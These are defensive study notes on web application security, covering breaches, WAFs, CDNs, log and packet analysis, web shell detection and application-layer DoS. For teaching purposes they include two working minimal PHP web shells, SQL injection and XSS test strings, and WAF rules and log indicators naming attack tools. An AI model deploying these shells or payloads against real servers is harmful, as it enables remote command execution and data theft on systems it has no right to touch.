Web Application Security Fundamentals
Core idea: The web became powerful by putting everything in the browser. That same reach makes web apps the most exposed front door into an organisation, and often stage one of a bigger attack.
1. How We Got Here: Desktop → Web
| Era | What dominated | Why |
|---|---|---|
| 1990s | Desktop apps | Slow, unreliable connectivity |
| 2000s | Dynamic web apps (email, social, banking) | Web tech matured |
| 2010s | Cloud + SaaS (Software as a Service) | Massive cloud adoption |
| Today | Almost everything runs in a browser |
The trade-off in one line: every benefit of the web is also an attacker benefit.
| Benefit to users | Matching risk |
|---|---|
| Accessible from anywhere | Attackable from anywhere |
| Faster updates | Faster-moving threat landscape |
| Better compatibility | Larger shared attack surface |
| Low resource use on the client | Data and logic concentrated on the server |
2. Who Carries the Risk
| Web App Owner | Web App User |
|---|---|
| App is online and must be defended 24/7 | Your data sits on someone else's server, possibly insecurely |
| Anyone, anywhere, can reach it at any time | A compromised browser exposes all your logged-in accounts |
| Hard to keep up with new threats | A breach can mean identity theft or financial loss |
| Legally and ethically responsible for user data | Leaked privacy can't be taken back |
Why attackers love web apps: always on, publicly exposed, and wired directly to back-end databases and infrastructure → high impact for low effort.
3. Real-World Breaches (know these cold)
| Breach | Year | Root cause | Impact |
|---|---|---|---|
| Equifax | 2017 | Unpatched Apache Struts vulnerability (CVE-2017-5638) in a web app | ~150M Americans' sensitive data; attackers reached internal databases |
| Capital One | 2019 | Misconfigured WAF (abused via SSRF) gave access to cloud infrastructure | 100M+ customers' personal & financial data |
Lessons:
- Equifax = a patching failure. The fix existed months before the breach.
- Capital One = a configuration failure. The security tool itself became the entry point.
- A defence is only as good as its maintenance and setup.
4. The Request–Response Cycle
Browser ──request──▶ Web Server ──verifies access──▶ processes ──response──▶ Browser- Request: browser asks for something (e.g.
https://website.thm/login). - Response: a webpage, image, or data (search results, account info).
- This cycle is the foundation of the web, so it's also what attackers abuse.
Three ways attackers abuse the cycle:
- Overwhelm the server with requests → denial of service
- Bypass access controls → reach data they shouldn't
- Trick the server into running harmful commands → injection / code execution
5. The Three Components of a Web Service
Every web service (e.g. tryhackme.com) needs all three:
| Component | What it is | Example |
|---|---|---|
| Application | Code, images, styles, icons; defines look and behaviour | Web app written in PHP |
| Web Server | Hosts the app; listens for requests and returns responses | Apache |
| Host Machine | Operating system running the server and the app | Linux VM / Windows |
Flow: Browser → Internet → Web Server → Application, with the server and app both living on the Host Machine.
Think of it as layers: the app sits on the server, which sits on the host. Compromise a lower layer and everything above it falls too.
Common Web Servers
| Server | Known for | Typical users |
|---|---|---|
| Apache | Very popular for simple sites and blogs, especially WordPress | Small/medium sites |
| Nginx | High-performance industry standard | Netflix, Airbnb, GitHub |
| IIS (Internet Information Services) | Microsoft's web server | Enterprise / Windows shops |
Web servers sit in front of everything and handle all incoming traffic, which makes them a prime target.
6. Defences, Mapped to Each Component
Two kinds of security measures:
- Visibility: see what's happening (e.g. logging)
- Mitigation: actively stop or limit an attack (e.g. WAF)
Protecting the Application
| Control | What it means |
|---|---|
| Secure coding | Avoid insecure functions, handle errors properly, strip sensitive info from output |
| Input validation & sanitisation | Never trust user input; stops injection attacks |
| Access control | Restrict actions based on user role |
Protecting the Web Server
| Control | What it means |
|---|---|
| Logging | Record every request via access logs |
| WAF | Filter and block malicious traffic by rules |
| CDN | Hide the server from direct exposure; often bundles a WAF |
Protecting the Host Machine
| Control | What it means |
|---|---|
| Least privilege | Run services as low-privilege users |
| System hardening | Disable unneeded services, close unused ports |
| Antivirus | Endpoint protection against known malware |
Applies to All Three
- Strong authentication: lock down code repos, admin panels, and host access.
- Patch management: keep dependencies, server software, and OS up to date. (Equifax is the cautionary tale.)
7. Logging (Access Logs)
Web servers can log every request. Each entry typically captures:
| Field | Why it matters |
|---|---|
| Client IP address | Who made the request |
| Timestamp | When; builds the attack timeline |
| Requested page/data | What they went after |
| Response status | Did it succeed? (200 vs 403 vs 500) |
| User agent | What client/tool they used (browser vs sqlmap) |
Purpose: detect malicious activity and trace attacker behaviour during investigations. Logging doesn't stop attacks; it lets you see and reconstruct them.
8. Content Delivery Network (CDN)
What: a network of edge servers around the world that cache and serve content from close to the user. The origin server (your real server) feeds them.
Primary purpose: speed (lower latency). Security bonus: acts as a buffer between users and the origin.
| Security benefit | How |
|---|---|
| IP masking | Hides the origin server's IP, so it's harder to target |
| DDoS protection | Huge capacity absorbs floods of traffic |
| Enforced HTTPS | Most CDNs enforce TLS encryption by default |
| Integrated WAF | Cloudflare, Amazon CloudFront, Azure Front Door all bundle WAFs |
⚠️ Caveat: IP masking only works if the origin IP never leaks (old DNS records, email headers, subdomains not behind the CDN). If an attacker finds it, they can bypass the CDN entirely.
9. Web Application Firewall (WAF)
What: inspects incoming HTTP traffic and blocks or logs harmful requests based on rules.
Analogy: a bouncer at a club. Every request is checked at the door; anyone who doesn't meet the standard is turned away.
Types of WAF
| Type | Where it sits | Strengths |
|---|---|---|
| Cloud-based (reverse proxy) | In front of the web server | Easy to deploy, scales well |
| Host-based | Software on the web server itself | Fine-grained control per application |
| Network-based | Physical/virtual appliance at the network perimeter | Suits enterprise environments |
Detection Methods
| Method | How it works | Example it catches |
|---|---|---|
| Signature-based | Matches known attack patterns/payloads | User-Agent sqlmap/1.8.1 |
| Heuristic-based | Judges context and behaviour of the request | search?q=%3Cscript%20(1) (URL-encoded <script) |
| Anomaly / behavioural | Flags deviations from normal traffic | One IP spamming login attempts (brute force) |
| Location & IP reputation | Uses geolocation + threat intel | Request from outside your normal business region |
- Not an exhaustive list; owners can write custom rules.
- Signatures catch the known; heuristics and anomaly detection target the unknown or disguised.
- ⚠️ A WAF is a safety net, not a fix for insecure code. Attackers routinely craft payloads to evade rules, and a misconfigured WAF can itself be the hole (Capital One).
10. Antivirus (AV)
Common misconception: AV is blanket protection. Reality: it protects endpoints (desktops, laptops, servers) from known malicious files and programs.
- Mostly signature-based: compares files against a database of known malware.
- Web attacks usually hit the application layer, not the host, so AV is not your main web defence.
- Where it helps in web security: catching malicious file uploads that land on the host:
- Web shells (scripts giving attackers remote control via the browser)
- Post-exploitation tools
- Other malware
- Weakness: new or obfuscated malware without a signature can slip past.
11. The Big Picture: Defence in Depth
No single control is enough. Each one covers a different failure:
| If this fails… | …this still helps |
|---|---|
| Insecure code ships | WAF blocks common exploit payloads |
| WAF is bypassed | Input validation and access control in the app |
| App is exploited, shell uploaded | AV flags the web shell; least privilege limits damage |
| Something gets through anyway | Logs let you detect it and trace what happened |
| Known vuln exists | Patching removes it before anyone uses it |
One-sentence takeaway: secure each layer (app, server, host), patch everything, log everything, and assume any single control will eventually fail.
Client-Side vs Server-Side Attacks, Detection & WAF Rules
Core idea: Where an attack runs decides whether you can see it.
- Client-side attacks run in the victim's browser, which is mostly invisible to the SOC.
- Server-side attacks hit your systems, so they leave evidence in logs and network traffic.
1. Client-Side vs Server-Side at a Glance
| Client-Side | Server-Side | |
|---|---|---|
| Target | The user: their behaviour, browser, device | The system: web server, app code, backend/database |
| Where it executes | Inside the user's browser | On the server |
| Goal | Hijack accounts, steal cookies/sessions, steal data from the device | Gain access, steal stored data, damage services |
| Weakness abused | Browser bugs, tricking users into unsafe actions | Flawed logic, misconfigurations, poor input handling |
| SOC visibility | Low to none | High (logs + packets) |
| Examples | XSS, CSRF, Clickjacking | Brute force, SQLi, Command Injection |
Why client-side risk is growing: sites keep adding third-party plugins and scripts. Each one is more code running in the user's browser, so the attack surface keeps widening.
2. Client-Side Attacks
The SOC's blind spot
- SOC tools (server logs, packet captures) see what crosses the network to the server.
- A client-side attack can run code, steal data, or alter the page entirely inside the browser, with no suspicious HTTP request reaching you.
- Detection usually needs browser-side controls or endpoint monitoring (EDR on the user's machine).
The Big Three
| Attack | What happens | Example | Key defence |
|---|---|---|---|
| Cross-Site Scripting (XSS) | Attacker's script is injected into a trusted site and runs in visitors' browsers. Most common client-side attack. | Unfiltered comment box accepts Hello <script>alert('You have been hacked');</script>; every visitor's browser runs it. Real attacks steal cookies/session data instead of popping alerts. | Output encoding, input validation, Content-Security-Policy, HttpOnly cookies |
| Cross-Site Request Forgery (CSRF) | Victim's browser is tricked into sending a request the user never intended, using their logged-in session | Malicious page silently submits "change email" to your bank while you're logged in | Anti-CSRF tokens, SameSite cookies |
| Clickjacking | Invisible elements are layered over legitimate content, so the user clicks something other than what they see | Transparent "Delete account" button sits over a "Play video" button | X-Frame-Options / CSP frame-ancestors (stop your site being framed) |
XSS vs CSRF:
- XSS = the attacker's code runs in your browser.
- CSRF = the attacker's request is sent by your browser.
⚠️ Tutorial nuance: the "hidden window steals your cookies" story is simplified. The browser's same-origin policy stops a hidden cross-site frame from reading another site's cookies directly. In reality that outcome needs XSS on the target site, or clickjacking to make you perform the action yourself.
3. Server-Side Attacks
Setup: websites are full of input forms (login, search, order lookup). Mishandle input in just one and the backend database can be exposed.
Good news for defenders: every request is processed by the server, so it can be logged, and it crosses the network, so it can be captured. Server-side attacks leave a trail if you know where to look.
Attacker ──malicious requests──▶ [WAF] ──────────▶ [Web Server]
│ │
SOC sees network traffic SOC sees server logsThe Big Three
| Attack | What happens | Real case | Key defence |
|---|---|---|---|
| Brute force | Rapid automated guessing of usernames/passwords from big credential lists | T-Mobile, 2021: brute force led to PII of 50M+ customers | Rate limiting, account lockout, MFA, strong passwords |
| SQL Injection (SQLi) | App builds SQL by string concatenation, so attacker input rewrites the query to read/change data | MOVEit, 2023: SQLi in file-transfer software hit 2,700+ orgs (US agencies, BBC, British Airways) | Parameterised queries |
| Command Injection | Unchecked user input passed to the OS shell; attacker's commands run with the app's permissions | — | Never pass input to the shell; validate strictly; least privilege |
Why SQLi works:
-- App code: SELECT * FROM users WHERE id = '<input>'
-- Input: ' OR '1'='1
-- Result: SELECT * FROM users WHERE id = '' OR '1'='1'
-- '1'='1' is always TRUE → every row returnedParameterised queries treat input as data, never code, which kills this whole class of attack.
Why least privilege matters for command injection: injected commands inherit the app's permissions. An app running as root hands the attacker root.
4. Detecting Attacks in Access Logs
The six fields and what "suspicious" looks like
| # | Field | Red flag |
|---|---|---|
| 1 | Client IP | Known-malicious IP, or outside expected geography |
| 2 | Timestamp + requested page | Odd hours; many requests in seconds |
| 3 | Status code | Bursts of 404 (someone guessing paths) |
| 4 | Response size | Much smaller or larger than normal (a big response may be a data dump) |
| 5 | Referrer | Doesn't match normal site navigation |
| 6 | User-Agent | Outdated browsers or tool names: sqlmap, wpscan, gobuster, Hydra |
No single field proves an attack. Each can be benign or malicious depending on context; it's the combination that tells the story.
Status codes worth knowing cold
| Code | Meaning | In an attack |
|---|---|---|
200 OK | Success | Fuzzer found a real page / injection returned data |
302 Found | Redirect | After a login POST, often means login succeeded |
401 Unauthorized | Auth failed | Failed brute-force guess |
404 Not Found | Doesn't exist | Fuzzer guessing a path that isn't there |
Worked example: one attacker, three stages (IP 10.10.10.100)
Stage 1 — Directory fuzzing (recon) · gobuster/1.9 · 05:45:26–28
- Many GETs in ~2 seconds:
/testdir,/backup,/private→404 - Hits:
/catalog,/wordpress,/login.php→200← attacker's target list
Stage 2 — Brute force · Hydra · 05:47:30
- Repeated
POST /login.php→401, all size 4937 - Final POST →
302, size 5036 (different) ← success - Then
GET /account→200← attacker is logged in
Stage 3 — SQL injection · sqlmap/1.7.2 · 05:48–05:49
GET /search?q=' OR '1'='1→200GET /search?q=1' OR 'a'='a→200- Payloads visible because they're in the GET query string
The pattern to recognise anywhere: recon → initial access → exploitation, from one IP, with tool-named User-Agents, in minutes.
Log limitations
- Access logs show that a request happened, not what was inside it.
- POST bodies are not logged: you see
POST /loginbut never the username/password tried. - GET query strings may be logged, but some formats drop them.
- What you get depends entirely on the server software and logging config.
5. Detecting Attacks in Network Traffic
Network traffic analysis = capturing and inspecting raw packets between client and server. It's more verbose than logs:
| Logs show | Packet captures add |
|---|---|
| Method, path, status, size, UA | Full HTTP headers |
| POST bodies (submitted credentials, payloads) | |
| Cookies | |
| Uploaded/downloaded files | |
| The server's response content (what the attacker actually got) |
Big limit: encrypted protocols (HTTPS, SSH) hide payloads unless you have the decryption keys. This tutorial uses plain HTTP.
Wireshark essentials
- Filter used:
ip.dst == 10.10.20.200 && http.user_agentip.dst= destination IP ·http.user_agent= only packets with a User-Agent
- Follow HTTP Stream = see the full request + response of one conversation.
What packets revealed that logs couldn't
Packet 13 (brute-force success):
- Body:
log=admin&pwd=password123→ the attacker cracked the admin account withpassword123 - Response:
302 Found→Location: /account - Server banner leaked:
Apache/2.4.52 (Ubuntu)(free recon for attackers)
Stream 15 (SQLi):
- Request:
GET /search?q=' OR '1'='1withUser-Agent: sqlmap/1.7.2 - Response
200 OKcontained the whole users table (admin, Gordon Brown, Jane Lee, Bob Smith) → confirms the injection worked, not just that it was tried - MySQL protocol traffic can also be analysed in Wireshark to see the query and result directly
The key distinction:
- Logs tell you an attack was attempted.
- Packets tell you whether it succeeded and what was taken.
6. WAFs as Mitigation
So far: detection (logs, packets). WAFs are mitigation: they stop the request before it reaches the server.
- Sits in front of the app as a gatekeeper.
- Inspects full requests like Wireshark, but can decrypt TLS (when it terminates HTTPS, i.e. holds the site's certificate) and block before delivery.
Rule types
| Rule type | What it does | Example |
|---|---|---|
| Block common attack patterns | Matches known payloads/indicators | Block User-Agent containing sqlmap |
| Deny known malicious sources | IP reputation, threat intel, geo-blocking | Block IPs from a current botnet campaign |
| Custom rules | Tailored to your app | Only allow GET/POST to /login |
| Rate limiting | Caps request frequency | Max 5 login attempts/min per IP (would have stopped Hydra) |
Rule format
IF User-Agent contains "sqlmap" THEN BLOCK
IF Client IP == 10.10.10.100 THEN BLOCK
IF User-Agent == "Hydra" THEN BLOCK
IF Region != US or EU THEN CHALLENGEModern WAFs block known bad User-Agents automatically; custom rules handle your app's specific threats without hurting normal traffic.
Three actions, not two
| Action | When to use |
|---|---|
| ALLOW | Normal traffic |
| BLOCK | High-confidence malicious |
| CHALLENGE (e.g. CAPTCHA) | Suspicious but might be a real user; proves human vs bot |
CHALLENGE suits rules with a higher chance of false positives (e.g. geo rules). It matters because ~37% of global web traffic is malicious bots.
Threat intelligence built in
- Prebuilt rule sets targeting the OWASP Top 10.
- Auto-updating feeds of malicious IPs and User-Agents, covering APT groups and new CVEs.
- Example: Cloudflare's curated IP lists (botnets, VPNs, anonymisers, malware sources).
⚠️ Know the weaknesses
- User-Agent rules are trivially bypassed. The attacker sets any UA they like (sqlmap has a random-agent option). Treat UA blocking as noise reduction, not protection.
- IP blocks are dodged by rotating IPs, proxies, or botnets.
- Payload signatures can be evaded with encoding and obfuscation.
- A WAF buys time; the real fix is in the code (parameterised queries, input handling) and the auth (MFA, strong passwords).
7. Mapping the Example Attack to Defences
| Stage | Detected by | Stopped by WAF rule | Real fix |
|---|---|---|---|
Fuzzing (gobuster) | 404 bursts, tool UA in logs | Rate limiting, UA block | Don't expose unneeded paths |
Brute force (Hydra) | Repeated POSTs, 401→302 in logs; creds in packets | Rate limiting, UA block, IP block | MFA, strong passwords, lockout |
SQLi (sqlmap) | Payload in query string; data in response packets | SQLi signatures, UA block | Parameterised queries |
One-sentence takeaway: logs show that it happened, packets show what happened, WAFs try to stop it before it happens, and secure code makes it impossible.
Detecting Web Shells
Core idea: A web shell turns a web server into a remote command line that works through ordinary HTTP. To detect one, you look at the same event from several angles: web logs (how it got there and how it's used), host logs (what it actually did), the file system (where it lives), and network traffic (the payload itself). No single source is enough.
1. What a Web Shell Is
Definition: a malicious script uploaded to a web server that lets an attacker run commands remotely through the browser or simple HTTP requests.
It plays two roles in an attack:
| Role | Meaning |
|---|---|
| Initial access | Gets the attacker in, usually through a file upload vulnerability |
| Persistence | Keeps them in. Even if the original hole is patched, the shell file stays behind as a back door |
Once in place, it drives the rest of the kill chain:
Reconnaissance → Privilege escalation → Lateral movement → Data exfiltrationWhy SOC analysts care: web shells are one of the most common footholds attackers use, and everything after them in the attack depends on that foothold.
2. How Web Shells Get Deployed
The attacker needs one of these:
- A file upload vulnerability
- A misconfiguration (e.g. writable web directory, PUT method enabled)
- Prior access to the system (shell used for persistence)
Root cause of upload vulnerabilities: the app fails to validate the file's
- type (is it really an image?)
- extension (
.phpvs.jpg) - content (does it contain code?)
- destination (does it land somewhere the server will execute it?)
Classic example: a pet-photo site meant for images accepts shell.php or mydog.aspx. The server stores it in a web-accessible folder, then executes it when requested, so the attacker has command execution.
The danger is not the upload itself; it's an uploaded file being stored where the server will run it.
3. Real-World Cases
| Group | Target | What they did |
|---|---|---|
| Hafnium (Chinese state-linked APT) via ProxyLogon (2021) | Microsoft Exchange servers | Dropped .aspx shells in \inetpub\wwwroot\aspnet_client\ and modified existing .aspx files in \FrontEnd\HttpProxy\owa\auth\. Then: command execution, recon, credential dumping, new user accounts for persistence, lateral movement, exfiltration, covering tracks |
| Conti ransomware | Microsoft Exchange (similar flaw) | Uploaded aspnetclient_log.aspx to the same \aspnet_client\ folder. Within minutes added a backup shell, then mapped computers, domain controllers, and domain admins |
Lessons:
- Attackers reuse known locations. If one group used a folder, check it.
- Modifying a legitimate file is stealthier than adding a new one; you can't just look for unfamiliar names.
- Backup shells are standard. Finding one shell doesn't mean you've found them all.
- Speed: minutes from upload to network mapping. Detection has to be fast.
4. Anatomy of a Web Shell
Web shells don't need exploits once uploaded. They abuse legitimate language functions that run OS commands.
PHP execution functions to know: shell_exec(), exec(), system(), passthru()
(also watch for eval(), assert(), base64_decode(); these often hide the payload)
A minimal PHP web shell
<?php
if(isset($_GET['cmd'])){ // 1. Is there a ?cmd= parameter?
$cmd = $_GET['cmd']; // 2. Store the attacker's command
$output = shell_exec($cmd); // 3. Run it on the OS
echo "<pre>$output</pre>"; // 4. Send the result back
}
?>
<form method="GET"> <!-- 5. Simple UI -->
<input name="cmd" type="text"> <!-- 6. Command box -->
<input type="submit" value="Execute">
</form>Using it: .../uploads/awebshell.php?cmd=whoami → page displays www-data (7. output)
What www-data tells you: commands run as the web server's user. The attacker's next move is usually privilege escalation, because www-data has limited rights. (This is why least privilege for services matters.)
Range of complexity: from one-liners driven through the URL to full GUIs with password protection and built-in file managers.
5. Evidence Source #1 — Web Server Logs
Web shells live on web servers, so the access logs are the natural first stop (Apache, Nginx).
Access log anatomy
192.168.0.1 - - [10/May/2025:13:00:00 +0000] "GET /index.html HTTP/1.1" 200 1024 "-" "Mozilla/5.0"
│ │ │ │ │ │ │ │ │
Client IP │ │ Timestamp Request line Status Size Referrer User-Agent
│ └ Authenticated user (usually "-" unless the server required login)
└ Remote log name (legacy field, almost always "-")Indicator 1: HTTP methods & request patterns
| Method | Normal use | Abuse |
|---|---|---|
| GET | Fetch a resource | Recon; talking to a shell |
| POST | Submit data | Uploading or talking to a shell |
| PUT | Upload/replace a file | Uploading a shell directly |
| DELETE | Remove a resource | Cleanup (erasing tracks) |
| OPTIONS | List supported methods | Recon (is PUT allowed?) |
| HEAD | Like GET, headers only | Checking whether a file exists |
Patterns:
- Rapid repeated GETs → probing for an upload location
- POST to an upload location after a burst of GETs → upload
- Repeated GET/POST to the same odd file → using the shell
Worked example: full attack in the logs (IP 10.10.10.100)
Phase 1 — Hunting for an entry point (13:22:04, all in one second)
/upload.aspx,/uploads.php,/uploads.aspx,/uploads.asp,/uploads.jsp,/download*→ 404/uploads/→ 200 ← directory found/upload_form.php→ 200 ← form found- Note the attacker tries every server language (aspx, php, asp, jsp): they don't yet know what the server runs.
Phase 2 — Upload (13:23:09)
POST /upload_form.php→ 200 ← shell uploaded
Phase 3 — Using the shell (13:23:45 → 13:25:53)
- Repeated
GET /uploads/webshell.php→ 200 - Response sizes: 192, 192, 471, 332, 3345, 563
🔑 The response sizes are the giveaway. A normal static file returns the same size every time. One file returning wildly different sizes means it's producing different output each time, i.e. running different commands. The 3345-byte response was probably a big listing (directory contents,
/etc/passwd, process list).
Tell-tale signs in this sequence: same IP, same User-Agent, timestamps seconds apart, 404 storm → 200, then POST, then repeated hits on a file in an uploads folder.
Indicator 2: User-Agents & IPs
| Type | Example | Why suspicious |
|---|---|---|
| Altered | Mozilla/4.0+(+Windows+NT+5.1) cut down to Mozilla/4.0 | Real browsers send long, detailed UAs |
| Outdated | Mozilla/4.0 (compatible; MSIE 6.0) | Internet Explorer 6, from 2001 |
| Blacklisted / tools | curl/1.XX.X, wget/1.XX.X | Command-line tools, not people browsing |
| IP | Unknown external address hitting an internal-only server | Unexpected source |
⚠️ The IP rule only holds for internal apps. A public website sees outside IPs all day, so there "external" means nothing on its own; use threat-intel reputation instead.
Indicator 3: Query strings
Query string = the part of the URL after ? that assigns values to parameters: example.php?query=somequery
- Keywords:
cmd=,exec=→ a command is being passed - Abnormally long strings
- Encoded strings hiding the command:
?query=whoami→ Base64 →?query=d2hvYW1p- Decode with CyberChef (handles Base64 and most other encodings/obfuscation)
Indicator 4: Missing referrer
- Referrer = the page the user came from.
- Shell access is usually direct (typed or scripted), so the referrer is
-. - ⚠️ Weak on its own: privacy settings, bookmarks, and typed URLs also produce no referrer. Use it only alongside other indicators.
Putting it together: one suspicious line
10.10.x.x - - [10/May/2025:03:21:41 +0000] "POST /uploads/suspectfile.php?cmd=hostname HTTP/1.1" 200 1024 "-" "curl/7.81.0"| # | Indicator |
|---|---|
| 1 | Untrusted / known-malicious IP |
| 2 | 03:21 — outside business hours |
| 3 | POST with ?cmd= to a .php file in uploads |
| 4 | No referrer (-) |
| 5 | curl User-Agent, not a browser |
Any one of these is weak. Five together is an incident.
6. Evidence Source #2 — Auditd (Host Logging)
Auditd = native Linux auditing system. You write rules defining what to record (e.g. "log any file written in /var/www/html/uploads" or "log when this program runs"), and matches go to audit.log.
Rules carry a key (a label) so you can search for them later.
# Example rule (for context): watch the uploads folder for writes/attribute changes
auditctl -w /var/www/html/uploads -p wa -k web_shell
# Search for events tagged with that key
ausearch -k web_shell
time->Wed Jul 23 06:20:36 2025
"name = /uploads/webshell.php" ← the file involved
"OGID = www-data" ← owned by the web server's groupWhy correlate web logs with auditd
| Web logs tell you | Auditd tells you |
|---|---|
| A request arrived (POST to an upload form) | A file was actually created/modified/executed |
| Which URL and IP | Which user/process did it |
Key syscalls to link:
creat→ a file was created (the upload landed)execve→ a program was executed (the shell ran a command)
A suspicious POST in the web log + a creat in auditd at the same second = confirmed upload. Then execve events from the web server user = confirmed command execution.
🔑 Strongest host-level signal: the web server process (
apache2,nginx,php-fpm,w3wp.exeon IIS) spawning a shell or command-line tool (sh,bash,whoami,cmd.exe). Web servers serve pages; they have almost no legitimate reason to launchwhoami.
7. Evidence Source #3 — SIEM
A SIEM (Security Information and Event Management) platform:
- Centralises logs from many sources (web, auditd, network, endpoint) in one place
- Lets you correlate across them, which is exactly what web shell detection requires
- Supports targeted queries for web shell patterns
- Makes searching and analysis faster than grepping individual servers
8. Evidence Source #4 — File System Analysis
The shell has to be stored somewhere. Find the file, find the shell.
Where to look
| Location | Notes |
|---|---|
/var/www/html/ | Apache default on most Linux distros |
/usr/share/nginx/html/ | Nginx default on many setups |
/uploads/, /images/, /admin/ | Common upload folders, found even with custom web roots |
/tmp | World-writable; abused if permissions are weak |
\inetpub\wwwroot\ | IIS (Windows), as in the Exchange cases |
⚠️ Blind spot: WordPress, Django and similar platforms keep page content in a database. Malicious code injected into posts, themes, or settings won't show up in file searches. Check the database too.
What looks suspicious
- Executable extensions in places that should only hold data:
.php,.jsp(also.asp,.aspx,.phtml) - Double extensions:
image.jpg.php(looks like an image, runs as PHP) - Random or out-of-place names that don't match the app's naming
- Recently modified legitimate files (the Hafnium technique)
Hunting commands
# Find .php files whose status changed between two dates
find /var/www -type f -name "*.php" -newerct "2025-07-01" ! -newerct "2025-08-01"
# → /var/www/html/uploads/awebshell.php
# Find files containing eval( in WordPress content
grep -r "eval(" wp-content
# → /wp-content/uploads/awebshell2.php : eval(b64_dd($['cmd']));Reading the find command:
-type f= files only-name "*.php"= PHP files-newerct "2025-07-01"= changed after 1 July! -newerct "2025-08-01"= not changed after 1 August- Together: a date window
Why -newerct (change time) rather than modification time: attackers can fake a file's modification time with touch to make it look old ("timestomping"). The change time (ctime) is set by the system and can't be set by normal tools, so it's harder to fake.
Why grep for eval(: eval runs a string as code, which is how obfuscated shells unpack themselves (often eval(base64_decode(...))). Legitimate code rarely needs it, especially in an uploads folder.
9. Evidence Source #5 — Network Traffic
Packets go beyond logs: you see the payload itself.
Indicators (logs + extra ones only packets/hosts reveal)
- Unusual HTTP methods and request patterns
- Suspicious User-Agents and IPs
- Encoded payloads
- Malicious code or commands in request bodies (invisible in access logs)
- Unexpected protocols or ports (e.g. a reverse shell calling out)
- Unexpected resource usage
- Web server processes spawning command-line tools
Useful Wireshark filters
| Filter | Use |
|---|---|
http.request.method == "POST" | Find uploads and shell interaction (swap in any method) |
http.request.uri contains ".php" | Find requests to scripts, incl. suspicious/new files |
http.user_agent | List UAs; spot odd or outdated ones |
ip.dst == 10.10.20.200 && http.user_agent | Combine: traffic to one server, with UAs shown |
Worked example: the upload in the packet (stream 12)
Same attack as the logs, now with the contents visible:
POST /upload_form.php HTTP/1.1 ← form abused
User-Agent: Mozilla/5.0 ← bare UA (altered/minimal)
Referer: http://10.10.20.200/
Content-Type: multipart/form-data; boundary=... ← file upload
Content-Disposition: form-data; name="fileToUpload"; filename="webshell.php" ← shell uploaded
Content-Type: application/x-php ← openly declared as PHP, and the form accepted it
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd); ← executes the command
echo "</pre>";
die;
}
?>
HTTP/1.1 200 OK
Server: Apache/2.4.29 (Ubuntu)
The file webshell.php has been uploaded. ← server confirms successWhat this proves that logs couldn't:
- The exact file name and full source code of the shell
- That it uses
system()and$_REQUEST(accepts the command via either GET or POST) - The server confirmed the upload
- The form did no validation: a file declared as
application/x-phpwas accepted on an "Upload Image" form
10. Evidence Map: Which Source Answers Which Question
| Question | Web logs | Auditd | File system | Network |
|---|---|---|---|---|
| Was the server probed? | ✅ 404 storm | ✅ | ||
| Was a file uploaded? | ⚠️ POST seen, not content | ✅ creat | ✅ file exists | ✅ full file |
| What does the shell contain? | ✅ | ✅ | ||
| Is it being used? | ✅ repeated hits, varying sizes | ✅ execve | ✅ | |
| What commands ran? | ⚠️ only if in query string | ✅ | ✅ (if not encrypted) | |
| Which user/process? | ✅ | ✅ owner |
One-sentence takeaway: web logs show the pattern, auditd confirms the action, the file system finds the file, packets reveal the payload. Correlate them, ideally in a SIEM, and assume there's a backup shell you haven't found yet.
Denial-of-Service (DoS) Attacks on Web Applications
Core idea: DoS attacks don't steal anything; they attack availability. If real users can't log in, shop, or reach a service, the attack has succeeded, however small it was. At the application layer the cheapest attack is not the biggest flood but the most expensive request, repeated.
1. What DoS Is
Definition: overwhelming a website or app so that legitimate users can't use it.
What users experience: pages that load forever, timeouts, error pages, or endless CAPTCHA challenges (the defender's response showing through).
Success criterion: any attack, of any size, that stops the service working as intended.
Scope of this room: Layer 7 (application layer) of the OSI model, where websites and web apps live.
| Network-layer DoS (L3/L4) | Application-layer DoS (L7) | |
|---|---|---|
| Floods | Packets/connections (SYN, UDP floods) | HTTP requests |
| Exhausts | Bandwidth, network gear | CPU, memory, database, app threads |
| Volume needed | Huge | Can be small; each request is costly |
| Looks like | Obvious junk traffic | Legitimate-looking requests |
| Hard part | Absorbing the volume | Telling attackers from real users |
2. Even One Request Can Be a DoS
Bicycle-parts shop example: a search form takes input, queries the database, returns results. If input isn't validated, an attacker can:
- Send malformed/unexpected input that makes the app hang or crash
- Flood the form with many requests
- Send one massive request the server chokes on
The vulnerability is the same as in earlier tutorials (trusting user input); the outcome is just availability instead of data theft.
3. DoS vs DDoS
| DoS | DDoS (Distributed) | |
|---|---|---|
| Source | One machine, one connection | A botnet: many compromised devices |
| Ceiling | Limited by the attacker's CPU, memory, bandwidth | Combined capacity of thousands–millions of devices |
| Botnet members | — | PCs, IoT devices, even servers, infected with malware and controlled remotely |
| Blocking | Block one IP | Blocking IPs is whack-a-mole |
Bicycle shop again: handles steady daily traffic fine but wasn't built for millions of requests in minutes. The botnet swarms it; resources run out; site goes down.
4. Types of Application-Layer DoS
All can be run from one machine (DoS) or a botnet (DDoS).
| Attack | How it works | Why it hurts |
|---|---|---|
| Slowloris | Opens many connections and sends HTTP requests very slowly, never finishing them | Server holds each connection open waiting; its connection pool fills up with almost no bandwidth used |
| HTTP flood | Huge number of ordinary HTTP requests | Raw volume overwhelms the server |
| Cache bypass | Makes requests the CDN can't answer from cache | Every request hits the origin server (see §10) |
| Oversized query | Large, resource-heavy requests | Each one burns lots of CPU/DB time |
| Login/form abuse | Floods login or password-reset logic | Password hashing, DB lookups, and emails are expensive |
| Faulty input validation abuse | Inputs that trigger bad code paths | Hangs, crashes, runaway processing |
Slowloris vs HTTP flood, the key contrast:
- Flood = too many requests.
- Slowloris = too long requests. A trickle of traffic can take down a server that limits concurrent connections.
5. Why Attackers Do It
| Motive | Goal | Example |
|---|---|---|
| Financial loss | Cut the victim's revenue | Flooding a store during holiday sales |
| Extortion | Get paid to stop ("ransom DDoS") | Threatening a bank |
| Hacktivism | Political/social protest | Hitting government sites during elections |
| Distraction | Keep defenders busy | DDoS as cover while another attack runs |
| Competition | Hurt a rival | DDoS during a competitor's product launch |
| Denial of wallet | Run up the victim's cloud bill | Repeatedly pulling AWS S3 data, paying per request |
| Reputational damage | Destroy customer trust | Game servers crashing on launch day |
Motives often combine, and the list isn't exhaustive.
⚠️ Distraction matters most to a SOC. When a DDoS hits, ask "what else is happening right now?" The flood may be cover for an intrusion.
Denial of wallet is the cloud-era twist: auto-scaling keeps you online but turns the attack into a bill.
6. Real-World Cases
| Year | Victim | What happened |
|---|---|---|
| 2015 (New Year's Eve) | BBC | Site offline for hours; timeouts and internal errors. New World Hacking claimed it was a "test" of its capabilities |
